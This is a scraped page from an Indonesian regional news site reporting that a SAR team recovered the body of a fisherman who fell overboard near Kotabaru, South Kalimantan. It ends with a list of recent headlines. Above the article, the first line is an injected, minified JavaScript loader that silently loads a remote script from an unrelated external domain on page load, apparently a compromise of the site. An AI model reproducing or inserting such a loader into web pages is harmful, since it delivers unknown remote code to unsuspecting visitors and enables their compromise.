(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Dua Hari Lakukan Operasi SAR, Jasad Nelayan Penjaring Ikan Ditemukan 9 Km dari Titik Jatuh


KANALKALIMANTAN.COM, KOTABARU – Tim SAR gabungan akhirnya menemukan nelayan penjaring ikan yang terjatuh dari kapal usai buang air besar di perairan Sebuku, Kotabaru dalam pelayaran pada Rabu (11/1/2023) lalu.

Sejumlah relawan Tim SAR dari Basarnas Kotabaru hingga Banjarmasin berhasil menemukan korban yang diketahui sudah dalam keadaan meninggal dunia sekitar pukul 14.00 Wita.

Operasi SAR yang berjalan selama dua hari itu, korban Ahmad (36) di temukan pada koordinat 3° 15 ‘ 13.72” S – 117° 2’ 4.21” E dengan heading 82.10°, yakni berjarak kurang lebih 5 NM arah timur laut atau kurang lebih 9 km dari titik LKP.

 

 

Baca juga: Polisi Tetapkan Tersangka Penganiaya Anak Yatim di Mentaos Banjarbaru

Kepala Kantor Pencarian dan Pertolongan (Basarnas) Banjarmasin, Al Amrad mengungkapkan, operasi SAR hari ke dua Sabtu (14/1/2023) dilakukan sejak pukul 07.45 Wita.

“Tim SAR Gabungan melakukan penyisiran dengan luas area pencarian kurang lebih 30 NM dengan mengacu pada SAR MAP Prediction yang disesuaikan dengan menghitung kecepatan arus, kecepatan angin, dengan titik terakhir korban terjatuh,” ungkap Al Amrad, Sabtu (14/1/2023) malam.

Setelah melakukan pencarian secara maksimal selama kurang lebih 6 jam di hari ke dua, jasad korban pun dievakuasi menggunakan unit RIB Pos SAR Kotabaru yang kemudian sampai di Kotabaru sekitar pukul 22.10 Wita.

Atas kejadian ini pun, Al Amrad menekankan kepada para nelayan atau siapa oun yang berlayar di perairan wajib memperhatikan keselamatannya dengan menyiapkan atau memakai alat bantu apung.

“Kami tidak jenuh-jenuh menekankan terhadap para nelayan maupun segala aktifitas yang dilakukan di perairan seharusnya life jacket maupun alat bantu apung lainnya, sebab insiden yang tidak diinginkan itu kita tidak pernah tau kapan datangnya,” tegas Al Amrad.

Baca juga: Lato-lato Dilarang di Sekolah, Kadisdik Banjarmasin Minta Orangtua Awasi Anaknya

Dirinya berharap agar kejadian naas seperti ini tidak terulan kembali dan untuk nelayan maupun pelauar dengan segala aktivitasnya di perairan dapat selalu memperhatikan keselamatannya.

Lebih jauh Al Amrad mengapresiasi kinerja sejumlah tim SAR gabungan dalam operasi SAR tersebut hingga akhirnya berhasil menemukan korban.

“Terima masih untuk semua unsur SAR yang terlibat dalam operasi SAR kali ini, dengan sinergitas Tim SAR gabungan yang sangat baik akirnya korban bisa diketemukan,” tuntasnya. (kanalkalimantan.com/wanda)

Reporter: wanda
Editor: cell


Risa

Recent Posts

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 10 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

2 jam ago

Embarkasi Banjarmasin Berangkatkan 5.759 JCH Kalsel-Kalteng, Pelayanan Penuh Jemaah Lansia

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More

3 jam ago

Caleg Terpilih Tak Harus Mundur Jika Maju Pilkada, Begini Penjelasan Ketua KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More

5 jam ago

Lepas Keberangkatan 320 Calon Haji, Ini Pesan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More

6 jam ago

Hari Ini Masuk Asrama Haji, Kloter 1 Embarkasi Banjarmasin Berangkat Minggu

KANALKALIMANTAN.COM, BANJARBARU - Jelang kedatangan rombongan jemaah Haji Embarkasi Banjarmasin Kloter 1, Sabtu (11/5/2024), Petugas… Read More

6 jam ago

Paman Birin Trophy VII 2024 Digelar 15 Hari di Murdjani

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan H Sahbirin Noor membuka secara resmi Paman Birin Trophy… Read More

8 jam ago

This website uses cookies.